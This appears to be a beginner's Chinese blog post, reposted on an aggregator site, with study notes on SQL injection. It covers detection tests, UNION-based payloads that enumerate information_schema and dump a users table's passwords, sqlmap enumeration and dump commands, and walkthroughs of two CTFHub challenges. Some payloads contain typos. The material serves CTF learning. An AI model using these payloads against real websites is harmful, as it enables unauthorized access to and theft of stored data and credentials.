我是靠谱客的博主 积极彩虹,最近开发中收集的这篇文章主要介绍sql注入 初体验前言:一般流程整形注入例题字符注入例题,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

目录

前言:

一般流程

查看是否有sql注入

判断类型

手工注入

sqlmap注入

整形注入例题

手工注入

 sqlmap注入

字符注入例题


前言:

这些天主要是学了些mysql的基础sql语句,然后就想着能开始刷sql注入的题目,但我还是太天真了,wp都看不懂,视频讲解也一脸懵,入门没有那么容易,现在也在努力入门。

sql语句要熟练,然后很多的操作不是系统学能了解的,需要不断搜索为什么要这样

比如 为什么要加个单引号' ,闭合单引号是什么意思

这些天我看了很多很多文章视频,确实是太菜了看不懂,大佬们经常不解释原因毕竟太简单了而我却啥也不懂。走了不少弯路吧。

终于发现几篇神仙文章,适合小白看的文章,分享一下

sql注入基础原理(超详细) - 简书 (jianshu.com)

CTF系列之Web——SQL注入_洛柒尘的博客-CSDN博客_留言板sql注入

CTF系列之Web——联合查询注入_洛柒尘的博客-CSDN博客

看完确实有种醍醐灌顶的感觉,不过要实操还是下手困难,所以要多实操来更好理解,熟练掌握基础。

所以自己写个笔记随时补充知识点,

一般流程

也是引自以上文章,方便查询

查看是否有sql注入

最为经典的单引号判断法:
在参数后面加上单引号,比如:

http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

判断类型

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
-------------------------------------------------------------------------------------
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where id = 'x'
这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:

Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

手工注入

1.判断是否存在注入,注入是字符型还是数字型

抓包更改参数id为

1′ or 1=1 #

2.猜解SQL查询语

句中的字段数

1 order by 2 #
1 order by 3 #

3.确定显示的字段顺序

1 union select 1,2 #

4.获取当前数据库

1 union select 1,database() #

5.获取数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

6.获取表中的字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #

7.下载数据

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

sqlmap注入

(先记录这么多,遇到了补充)

-u 指定目标URL (可以是http协议也可以是https协议)

-d 连接数据库

--dbs 列出所有的数据库

--current-db 列出当前数据库

--tables 列出当前的表

--columns 列出当前的列

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--dump 获取字段中的数据

整形注入例题

题目是CTFHub中的sql注入

手工注入

1.查询 字段数  试2的时候有回显

1 order by 2

 2.使用union联合查询检测信息回显位置

-1 union select 1,database()

3.获取当前数据库名

-1 union select 1,database()

4.查询数据库sqli中所有的表名

-1 union select 1, group_concat(table_name) from information_schema.tables  where  table_schema = 'sqli'

5. 查询表flag中所有的字段名

-1 union select  1, group_concat(column_name)  from  information_schema.columns  where 
 table_schema='sqli' and table_name='flag' 

 6.获取指定数据库的表的列的内容

-1 union select 1,group_concat(flag)  from sqli.flag

 sqlmap注入

1.sqlmap爆当前数据库信息

python sqlmap.py   -u   "url/?id=1"  --current-db

 2.列出指定数据库sqli所有的表名

python sqlmap.py -u "url/?id=1"  -D sqli  --tables

 3.sqlmap 列出指定表名的所有列名

python sqlmap.py -u "url/?d=1" -D sqli -T falg  --columns

 4.sqlmap 打印输出表名指定列名字段的值数据

python sqlmap.py -u "url/?d=1" -D sqli -T flag -C flag --dump

字符注入例题

因为是字符注入,所以需要闭合单引号  ,其余的与上一题一样

1,使用order by n 语句查询字段数

1' order by 2 #

2,使用union联合查询检测信息回显位置

-1' union select 1,2 #

 3,获取当前数据库名

-1' union select 1,database() #

 4.查询数据库sqli表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

 5.获取flag列所有字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' #

 6,获取sqli库下 flag 表里 flag 字段 里的falg内容

-1' union select 1,group_concat(falg) from sqli.flag #

sqlmap注入 与上一题一模一样

最后

以上就是积极彩虹为你收集整理的sql注入 初体验前言:一般流程整形注入例题字符注入例题的全部内容,希望文章能够帮你解决sql注入 初体验前言:一般流程整形注入例题字符注入例题所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(50)

评论列表共有 0 条评论

立即
投稿
返回
顶部